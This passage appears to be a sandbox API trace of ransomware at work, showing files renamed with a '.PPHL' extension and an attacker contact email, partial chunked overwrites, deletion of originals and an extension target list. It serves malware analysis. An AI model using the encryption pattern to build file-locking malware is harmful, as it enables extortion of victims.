dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0074.843] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0074.843] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.843] ReadFile (in: hFile=0x15c, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.849] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.849] ReadFile (in: hFile=0x15c, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.855] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0074.855] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0074.855] ReadFile (in: hFile=0x15c, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0074.872] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.872] WriteFile (in: hFile=0x15c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0075.352] SetEndOfFile (hFile=0x15c) returned 1 [0076.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fb3fc0 [0076.426] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.426] WriteFile (in: hFile=0x15c, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.427] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.427] WriteFile (in: hFile=0x15c, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.427] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0076.428] WriteFile (in: hFile=0x15c, lpBuffer=0x3fb3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3fc0*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fb3fc0 | out: hHeap=0x5d0000) returned 1 [0076.430] CloseHandle (hObject=0x15c) returned 1 [0076.430] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0076.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.430] lstrlenW (lpString=".doc") returned 4 [0076.430] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.430] lstrlenW (lpString=".docx") returned 5 [0076.430] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.430] lstrlenW (lpString=".pdf") returned 4 [0076.430] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.430] lstrlenW (lpString=".xls") returned 4 [0076.430] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.430] lstrlenW (lpString=".xlsx") returned 5 [0076.430] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.430] lstrlenW (lpString=".ppt") returned 4 [0076.430] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.430] lstrlenW (lpString=".zip") returned 4 [0076.431] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".rar") returned 4 [0076.431] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".bz2") returned 4 [0076.431] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.431] lstrlenW (lpString=".7z") returned 3 [0076.431] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString=".dbf") returned 4 [0076.431] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString=".1cd") returned 4 [0076.431] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString=".jpg") returned 4 [0076.431] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString=".doc") returned 4 [0076.431] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".docx") returned 5 [0076.431] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.431] lstrlenW (lpString=".pdf") returned 4 [0076.431] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".xls") returned 4 [0076.431] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".xlsx") returned 5 [0076.431] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.431] lstrlenW (lpString=".ppt") returned 4 [0076.431] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.431] lstrlenW (lpString=".zip") returned 4 [0076.431] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.431] lstrlenW (lpString=".rar") returned 4 [0076.431] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.432] lstrlenW (lpString=".bz2") returned 4 [0076.432] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.432] lstrlenW (lpString=".7z") returned 3 [0076.432] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.432] lstrlenW (lpString=".dbf") returned 4 [0076.432] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.432] lstrlenW (lpString=".1cd") returned 4 [0076.432] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0076.432] lstrlenW (lpString=".jpg") returned 4 [0076.432] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.432] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0076.432] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0076.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.729] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=868864) returned 1 [0076.730] CloseHandle (hObject=0x180) returned 1 [0076.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0076.730] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0076.730] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.730] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0076.731] GetLastError () returned 0x0 [0076.731] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0076.758] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0077.063] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x307fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.063] WriteFile (in: hFile=0x1f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x307fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0077.063] SetEndOfFile (hFile=0x1f8) returned 1 [0077.063] CloseHandle (hObject=0x1f8) returned 1 [0077.064] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.064] SetEndOfFile (hFile=0x180) returned 1 [0077.073] CloseHandle (hObject=0x180) returned 1 [0077.073] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.073] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0077.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.074] lstrlenW (lpString=".doc") returned 4 [0077.074] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.074] lstrlenW (lpString=".docx") returned 5 [0077.074] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.074] lstrlenW (lpString=".pdf") returned 4 [0077.074] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.074] lstrlenW (lpString=".xls") returned 4 [0077.074] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.074] lstrlenW (lpString=".xlsx") returned 5 [0077.074] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.074] lstrlenW (lpString=".ppt") returned 4 [0077.074] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.074] lstrlenW (lpString=".zip") returned 4 [0077.074] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.074] lstrlenW (lpString=".rar") returned 4 [0077.074] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.074] lstrlenW (lpString=".bz2") returned 4 [0077.074] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.074] lstrlenW (lpString=".7z") returned 3 [0077.074] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.074] lstrlenW (lpString=".dbf") returned 4 [0077.074] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.074] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.074] lstrlenW (lpString=".1cd") returned 4 [0077.075] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString=".jpg") returned 4 [0077.075] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString=".doc") returned 4 [0077.075] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.075] lstrlenW (lpString=".docx") returned 5 [0077.075] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.075] lstrlenW (lpString=".pdf") returned 4 [0077.075] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.075] lstrlenW (lpString=".xls") returned 4 [0077.075] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.075] lstrlenW (lpString=".xlsx") returned 5 [0077.075] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.075] lstrlenW (lpString=".ppt") returned 4 [0077.075] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString=".zip") returned 4 [0077.075] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.075] lstrlenW (lpString=".rar") returned 4 [0077.075] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.075] lstrlenW (lpString=".bz2") returned 4 [0077.075] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.075] lstrlenW (lpString=".7z") returned 3 [0077.075] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString=".dbf") returned 4 [0077.075] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.075] lstrlenW (lpString=".1cd") returned 4 [0077.075] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.076] lstrlenW (lpString=".jpg") returned 4 [0077.076] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.076] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0077.076] lstrlenW (lpString="Office32WW.msi") returned 14 [0077.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0077.076] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x307ff1c | out: lpFileSize=0x307ff1c*=1992192) returned 1 [0077.076] CloseHandle (hObject=0x180) returned 1 [0077.076] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0077.077] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.077] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0077.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0077.077] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0x0) returned 1 [0077.077] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.077] ReadFile (in: hFile=0x180, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.455] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.455] ReadFile (in: hFile=0x180, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.464] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.465] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x307fc2c | out: lpNewFilePointer=0x0) returned 1 [0077.465] ReadFile (in: hFile=0x180, lpBuffer=0x3b40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b40058*, lpNumberOfBytesRead=0x307fc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.486] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.486] WriteFile (in: hFile=0x180, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x307fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x307fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0077.765] SetEndOfFile (hFile=0x180) returned 1 [0077.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fd8 [0077.765] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.765] WriteFile (in: hFile=0x180, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.767] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.767] WriteFile (in: hFile=0x180, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.769] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x307fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.769] WriteFile (in: hFile=0x180, lpBuffer=0x3fe3fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd8*, lpNumberOfBytesWritten=0x307fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.771] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fd8 | out: hHeap=0x5d0000) returned 1 [0077.771] CloseHandle (hObject=0x180) returned 1 [0077.771] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString=".doc") returned 4 [0077.772] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString=".docx") returned 5 [0077.772] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0077.772] lstrlenW (lpString=".pdf") returned 4 [0077.772] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".xls") returned 4 [0077.772] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".xlsx") returned 5 [0077.772] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0077.772] lstrlenW (lpString=".ppt") returned 4 [0077.772] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString=".zip") returned 4 [0077.772] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".rar") returned 4 [0077.772] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.772] lstrlenW (lpString=".bz2") returned 4 [0077.772] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString=".7z") returned 3 [0077.772] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString=".dbf") returned 4 [0077.772] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString=".1cd") returned 4 [0077.772] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.772] lstrlenW (lpString=".jpg") returned 4 [0077.772] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0077.773] 